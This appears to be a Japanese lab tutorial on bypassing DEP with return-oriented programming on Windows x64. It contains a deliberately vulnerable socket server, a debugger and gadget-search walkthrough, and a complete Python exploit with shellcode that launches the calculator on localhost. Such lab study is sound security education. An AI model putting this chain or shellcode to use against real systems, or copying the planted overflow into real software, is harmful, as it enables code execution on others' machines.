Windows x64でReturn-oriented Programming(ROP)によるDEP回避をやってみる
「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」では、Windows 32ビット環境でROPによるDEP回避を行った。 ここでは、Windows 64ビット環境でのROPをやってみる。
環境
Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4
>systeminfo OS 名: Microsoft Windows 8.1 Pro OS バージョン: 6.3.9600 N/A ビルド 9600 OS 製造元: Microsoft Corporation システムの種類: x64-based PC プロセッサ: 1 プロセッサインストール済みです。 [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~758 Mhz >cl Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x64 >dumpbin Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
脆弱性のあるプログラムを書いてみる
「WindowsでReturn-oriented Programming(ROP)によるDEP回避をやってみる」と同様に、スタックバッファオーバーフロー脆弱性のあるプログラムコードを書いてみる。
/* bof.c */ #define WIN32_LEAN_AND_MEAN #include <windows.h> #include <winsock2.h> #include <ws2tcpip.h> #include <stdio.h> #pragma comment(lib, "ws2_32.lib") void somewhere() { char buf[1024]; DWORD oldprotect; VirtualProtect(buf, sizeof(buf), PAGE_EXECUTE_READWRITE, &oldprotect); } void bof(SOCKET c) { char buf[400]; printf("[+] buf = %p\n", buf); recv(c, buf, 1024, 0); } int main() { WSADATA wsaData; SOCKET s, c; SOCKADDR_IN name; BOOL yes = 1; WSAStartup(MAKEWORD(2, 2), &wsaData); s = WSASocket(AF_INET, SOCK_STREAM, 0, NULL, 0, 0); setsockopt(s, SOL_SOCKET, SO_REUSEADDR, (const char *)&yes, sizeof(yes)); name.sin_family = AF_INET; name.sin_addr.s_addr = INADDR_ANY; name.sin_port = htons(4444); bind(s, (SOCKADDR *)&name, sizeof(name)); listen(s, 5); puts("[+] listening on 0.0.0.0 port 4444"); c = accept(s, NULL, NULL); closesocket(s); puts("[+] connection accepted"); bof(c); closesocket(c); ExitProcess(0); }
上のコードでは、プログラム中のどこかでVirtualProtect関数が使われている状況を想定し、somewhere関数を追加してある。
64ビットコンパイラを用い、ASLR、stack canary(/GS)無効、DEP有効となる設定でコンパイルする。 さらに、生成されたbof.exeを実行し、待ち受けているポートに接続すると次のようになる。
>cl bof.c /GS- /link /dynamicbase:no >bof.exe [+] listening on 0.0.0.0 port 4444 [+] connection accepted [+] buf = 000000000013FB70
$ nc localhost 4444 AAAA
必要なアドレスを調べてみる
まず、VirtualProtect関数のIATエントリが置かれたアドレスを調べてみる。
>cdb bof.exe (snip) (1b40.23fc): Break instruction exception - code 80000003 (first chance) ntdll!LdrpDoDebuggerBreak+0x30: 00007ffb`af7e1970 cc int 3 0:000> !dh -f 00000001`40000000 (snip) D000 [ 258] address [size] of Import Address Table Directory (snip) 0:000> dps 00000001`40000000+D000 00000001`4000d000 00007ffb`ad200cf0*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\WINDOWS\system32\KERNEL32.DLL - KERNEL32!UnhandledExceptionFilter 00000001`4000d008 00007ffb`ad121550 KERNEL32!CreateFileW 00000001`4000d010 00007ffb`ad121270 KERNEL32!CloseHandle 00000001`4000d018 00007ffb`ad121920 KERNEL32!LCMapStringW 00000001`4000d020 00007ffb`ad125160 KERNEL32!FatalExit 00000001`4000d028 00007ffb`ad1214b0 KERNEL32!VirtualProtect (snip)
上の結果から、VirtualProtect関数のIATエントリが000000014000d028
にあることがわかる。
次に、関数呼び出しに使えるROP gadgetを探してみる。 dumpbinコマンドでプログラム全体のディスアセンブル結果を書き出し、合わせてrp++によるROP gadgetの検索結果も書き出しておく。
>dumpbin /disasm bof.exe >disasm.txt >rp-win-x64.exe --file bof.exe --rop=3 --unique >gadgets.txt
ここで、disasm.txtをcall rax
で検索すると、次のようなコードが見つかる。
0000000140007C15: 44 8B CD mov r9d,ebp 0000000140007C18: 4D 8B C4 mov r8,r12 0000000140007C1B: 49 8B D7 mov rdx,r15 0000000140007C1E: 48 8B CF mov rcx,rdi 0000000140007C21: FF D0 call rax 0000000140007C23: EB 02 jmp 0000000140007C27 0000000140007C25: 33 C0 xor eax,eax 0000000140007C27: 48 8B 4C 24 48 mov rcx,qword ptr [rsp+48h] 0000000140007C2C: 48 33 CC xor rcx,rsp 0000000140007C2F: E8 3C CD FF FF call 0000000140004970 0000000140007C34: 48 83 C4 50 add rsp,50h 0000000140007C38: 41 5F pop r15 0000000140007C3A: 41 5E pop r14 0000000140007C3C: 41 5C pop r12 0000000140007C3E: 5F pop rdi 0000000140007C3F: 5E pop rsi 0000000140007C40: 5D pop rbp 0000000140007C41: 5B pop rbx 0000000140007C42: C3 ret
デバッグ情報をつけてコンパイル(/Zi
)したときの結果と比べながら、上のコードに補足を加えると次のようになる。
__crtMessageBoxW: (snip) addr_msgbox2: 0000000140007C15: 44 8B CD mov r9d,ebp 0000000140007C18: 4D 8B C4 mov r8,r12 0000000140007C1B: 49 8B D7 mov rdx,r15 0000000140007C1E: 48 8B CF mov rcx,rdi 0000000140007C21: FF D0 call rax # call here 0000000140007C23: EB 02 jmp canary_check 0000000140007C25: 33 C0 xor eax,eax canary_check: 0000000140007C27: 48 8B 4C 24 48 mov rcx,qword ptr [rsp+48h] 0000000140007C2C: 48 33 CC xor rcx,rsp 0000000140007C2F: E8 3C CD FF FF call __security_check_cookie 0000000140007C34: 48 83 C4 50 add rsp,50h addr_msgbox1: 0000000140007C38: 41 5F pop r15 # -> rdx (2nd arg) 0000000140007C3A: 41 5E pop r14 0000000140007C3C: 41 5C pop r12 # -> r8 (3rd arg) 0000000140007C3E: 5F pop rdi # -> rcx (1st arg) 0000000140007C3F: 5E pop rsi 0000000140007C40: 5D pop rbp # -> r9d (4th arg) 0000000140007C41: 5B pop rbx 0000000140007C42: C3 ret
__crtMessageBoxW関数に含まれる上のコードを使うと、Linux x64における__libc_csu_init gadgetsと同じように、関数呼び出しにおける引数レジスタのセットを行うことができる。
すなわち、addr_msgbox1でスタックから各レジスタに値をセットした後、addr_msgbox2にジャンプすることでrcx、rdx、r8、r9dレジスタの値を自由にセットできる。
raxレジスタの値は事前にセットしておく必要があるが、このままではcanary_checkの処理に進んでしまいプログラムが不正終了してしまう。
そこで、raxレジスタにpop-ret gadgetを入れcall rax
によって積まれたリターンアドレスを捨てることで、後続のROPシーケンスが実行されるようにする。
上の手順に必要なROP gadgetをgadget.txtから探すと、次のようなものが見つかる。
0x140005c10: pop rax ; add rsp, 0x30 ; pop r15 ; ret ; (1 found) 0x14000154e: pop rdi ; ret ; (53 found) 0x14000242b: jmp qword [rbx] ; (1 found)
addr_msgbox1でrbxレジスタにIATエントリのアドレスを入れた上で最後のgadgetを用いると、IATにある任意のAPI関数を呼ぶことができる。
エクスプロイトコードを書いてみる
以上の内容をもとに、ROPでVirtualProtect関数を呼び出した後シェルコードを実行するエクスプロイトコードを書くと次のようになる。
# exploit.py import socket import struct # WinExec("calc", SW_SHOWNORMAL); ExitProcess(0); shellcode = "\xFC\xEB\x76\x51\x52\x33\xC0\x65\x48\x8B\x40\x60\x48\x8B\x40\x18\x48\x8B\x70\x10\x48\xAD\x48\x89\x44\x24\x20\x48\x8B\x68\x30\x8B\x45\x3C\x83\xC0\x18\x8B\x7C\x28\x70\x48\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x48\x03\xDD\x67\xE3\x3A\xFF\xC9\x8B\x34\x8B\x48\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x07\xC1\xCA\x0D\x03\xD0\xEB\xF4\x3B\x54\x24\x18\x75\xE0\x8B\x5F\x24\x48\x03\xDD\x66\x8B\x0C\x4B\x8B\x5F\x1C\x48\x03\xDD\x8B\x04\x8B\x48\x03\xC5\x5A\x59\x5E\x5F\x56\xFF\xE0\x48\x8B\x74\x24\x20\xEB\x9B\x33\xC9\x48\x8D\x51\x01\x51\x68\x63\x61\x6C\x63\x48\x8B\xCC\x48\x83\xEC\x28\x68\x98\xFE\x8A\x0E\xE8\x6D\xFF\xFF\xFF\x33\xC9\x68\x7E\xD8\xE2\x73\xE8\x61\xFF\xFF\xFF" """ addr_msgbox2: 0000000140007C15: 44 8B CD mov r9d,ebp 0000000140007C18: 4D 8B C4 mov r8,r12 0000000140007C1B: 49 8B D7 mov rdx,r15 0000000140007C1E: 48 8B CF mov rcx,rdi 0000000140007C21: FF D0 call rax 0000000140007C23: EB 02 jmp 0000000140007C27 0000000140007C25: 33 C0 xor eax,eax 0000000140007C27: 48 8B 4C 24 48 mov rcx,qword ptr [rsp+48h] 0000000140007C2C: 48 33 CC xor rcx,rsp 0000000140007C2F: E8 3C CD FF FF call 0000000140004970 0000000140007C34: 48 83 C4 50 add rsp,50h addr_msgbox1: 0000000140007C38: 41 5F pop r15 0000000140007C3A: 41 5E pop r14 0000000140007C3C: 41 5C pop r12 0000000140007C3E: 5F pop rdi 0000000140007C3F: 5E pop rsi 0000000140007C40: 5D pop rbp 0000000140007C41: 5B pop rbx 0000000140007C42: C3 ret """ addr_buf = 0x000000000013FB70 addr_msgbox1 = 0x0000000140007C38 addr_msgbox2 = 0x0000000140007C15 addr_pop_rax_38 = 0x140005c10 # 0x140005c10: pop rax ; add rsp, 0x30 ; pop r15 ; ret ; (1 found) addr_pop_rdi = 0x14000154e # 0x14000154e: pop rdi ; ret ; (53 found) addr_jmp_ptr_rbx = 0x14000242b # 0x14000242b: jmp qword [rbx] ; (1 found) iat_virtualprotect = 0x000000014000d028 # 00000001`4000d028 00007ffb`ad1214b0 KERNEL32!VirtualProtect bufsize = 400 buf = 'A' * bufsize buf += 'AAAAAAAA' buf += struct.pack('<Q', addr_pop_rax_38) # retaddr buf += struct.pack('<Q', addr_pop_rdi) buf += 'A' * 0x38 buf += struct.pack('<QQQQQQQQ', addr_msgbox1, 1024, 0, 0x40, addr_buf, 0, addr_buf, iat_virtualprotect) buf += struct.pack('<Q', addr_msgbox2) buf += struct.pack('<Q', addr_jmp_ptr_rbx) buf += struct.pack('<Q', addr_buf+len(buf)+8) buf += shellcode c = socket.create_connection(('127.0.0.1', 4444)) c.sendall(buf) c.close()
bof.exeを起動し、エクスプロイトコードを実行してみる。
>bof.exe [+] listening on 0.0.0.0 port 4444
$ python exploit.py
シェルコードが実行され、電卓が起動することが確認できる。